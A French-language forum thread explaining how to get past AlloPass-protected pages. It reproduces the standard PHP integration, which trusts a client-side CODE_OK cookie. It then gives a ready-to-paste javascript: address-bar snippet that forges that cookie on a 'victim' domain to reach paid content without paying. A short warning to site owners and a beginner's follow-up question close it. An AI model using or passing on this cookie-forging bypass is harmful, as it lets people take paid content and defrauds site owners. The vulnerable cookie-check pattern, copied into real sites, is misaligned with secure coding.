Annonce

Réduire
Aucune annonce.

Bypasser Allopass

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Bypasser Allopass

    La plupart des sites utilisent le code d'AlloPass pour protéger leurs sites avec AlloPass.

    Voici ce code :


    Code:
    <?php
    
    $RECALL = $_GET["RECALL"];
    if( trim($RECALL) == "" )
    {
    // La variable RECALL est vide, renvoi de l'internaute
    
    // vers une page d'erreur
    header( "Location: erreur.html" );
    exit(1);
    }
    // $RECALL contient le code d'accès
    $RECALL = urlencode( $RECALL );
    
    // $AUTH doit contenir l'identifiant de VOTRE document
    
    $AUTH = urlencode( "54/75/456" );
    /**
    * envoi de la requête vers le serveur AlloPAss
    * dans la variable $r[0] on aura la réponse du serveur
    * dans la variable $r[1] on aura le code du pays d'appel de l'internaute
    * (FR,BE,UK,DE,CH,CA,LU,IT,ES,AT,...)
    * Dans le cas du multicode, on aura également $r[2],$r[3] etc...
    * contenant à chaque fois le résultat et le code pays.
    */
    $r = @file( "http://payment.allopass.com/api/checkcode.apu?code=$RECALL&auth=$AUTH" );
    
    // on teste la réponse du serveur
    
    if( substr( $r[0],0,2 ) != "OK" ) 
    {
    // Le serveur a répondu ERR ou NOK : l'accès est donc refusé
    
    header( "Location: erreur.html" );
    exit(1);
    }
    
    /**
    * Le code est valide !
    * on place un cookie appelé CODE_OK et qui vaut la valeur 1
    * Ce cookie est valide jusqu'à ce que l'internaute ferme son navigateur
    * Dans les pages suivantes, il n'y aura plus qu'à tester l'existence du cookie
    * S'il existe, c'est que l'internaute est autorisé,
    * sinon on le renverra sur une page d'erreur
    */
    setCookie( "CODE_OK", "1", 0, "/", ".mondomaine.com", false );
    
    /**
    * Remplacez dans la ligne ci-dessus ".mondomaine.com" par le nom de domaine
    * de votre site!
    * Par exemple, si votre site est accessible à l'adresse :
    * http://perso.herbergeur.com/mapage
    * alors il faudra que vous mettiez ".herbergeur.com"
    * (n'oubliez pas le "." devant le nom de domaine !!)
    */
    
    ?>
    Ce code ajoute le cookie CODE_OK.

    Si le cookie CODE_OK fais 1 alors l'accès est autorisé.

    Voici désormais le code Javascript qui va nous permettre l'exploitation de cette faille :

    Code:
    function  SetCookie (name, value) { var argv=SetCookie.arguments;  var  argc=SetCookie.arguments.length; var expires=(argc > 2) ? argv[2]  :  null; var path=(argc > 3) ? argv[3] : null; var domain=(argc >  4)  ? argv[4] : null; var secure=(argc > 5) ? argv[5] : false;   document.cookie=name+"="+escape(value)+ ((expires==null) ? "" : (";   expires="+expires.toGMTString()))+ ((path==null) ? "" : (";   path="+path))+ ((domain==null) ? "" : ("; domain="+domain))+   ((secure==true) ? "; secure" : "");   }date_exp.setTime(date_exp.getTime()+(365*24*3600*1000));   SetCookie("CODE_OK","1",date_exp,.NDD_DE_LA_VICTIME.COM);   location.reload();
    Nom de domaine (NDD_DE_LA_VICTIME.COM) à changer bien sûr.

    Ensuite, allez sur la page protégée et tapez dans la barre d'adresse :

    Code:
    javascript:function  SetCookie (name, value) { var  argv=SetCookie.arguments; var  argc=SetCookie.arguments.length; var  expires=(argc > 2) ? argv[2] :  null; var path=(argc > 3) ? argv[3]  : null; var domain=(argc > 4)  ? argv[4] : null; var secure=(argc  > 5) ? argv[5] : false;  document.cookie=name+"="+escape(value)+  ((expires==null) ? "" : (";  expires="+expires.toGMTString()))+  ((path==null) ? "" : (";  path="+path))+ ((domain==null) ? "" : (";  domain="+domain))+  ((secure==true) ? "; secure" : "");   }date_exp.setTime(date_exp.getTime()+(365*24*3600*1000));   SetCookie("CODE_OK","1",date_exp,.NDD_DE_LA_VICTIME.COM);   location.reload();
    Ne mettez pas de nom de domaine ni rien ; uniquement ce code Javascript car :

    http: : sert à voir le contenu //site.tld
    mailto : sert à envoyer un mail
    data: sert à afficher des donnés HTML
    Javascript: à exécuter l'exploit

    Le code ne fonctionnera uniquement si le code source originel de la page est :

    Code:
    <?php
    if( $HTTP_COOKIE_VARS['CODE_OK'] != '1')
    {
    header( "Location: ./itools/pack/allo.it/error.php?erreur=forbidden" );
    exit(1);
    }
    ?>
    Verdict, n'optez pas pour cette solution faillible sur votre site !
    sigpic

    Cyprium Download Link

    Plus j'étudie plus j'me rends compte que je n'sais rien.

    †|

  • #2
    J'ai une question qui va sans doute me faire passer pour un infame débutant , mais comment est ce possible d'injecter une fonction javascript en y faisant référence via la barre d'adresse? Ne faut il pas l'upload? Est ce possible depuis un fichier stocké en local sur la machine?

    En tout cas je ne compte pas passer un jour par Allopass si je devais mettre un service payant sur un site web, j'ai toujours eu très peu confiance en ce type de procédé. Mais néanmoins, merci d'avoir présenter cette faille!

    Commentaire

    Chargement...
    X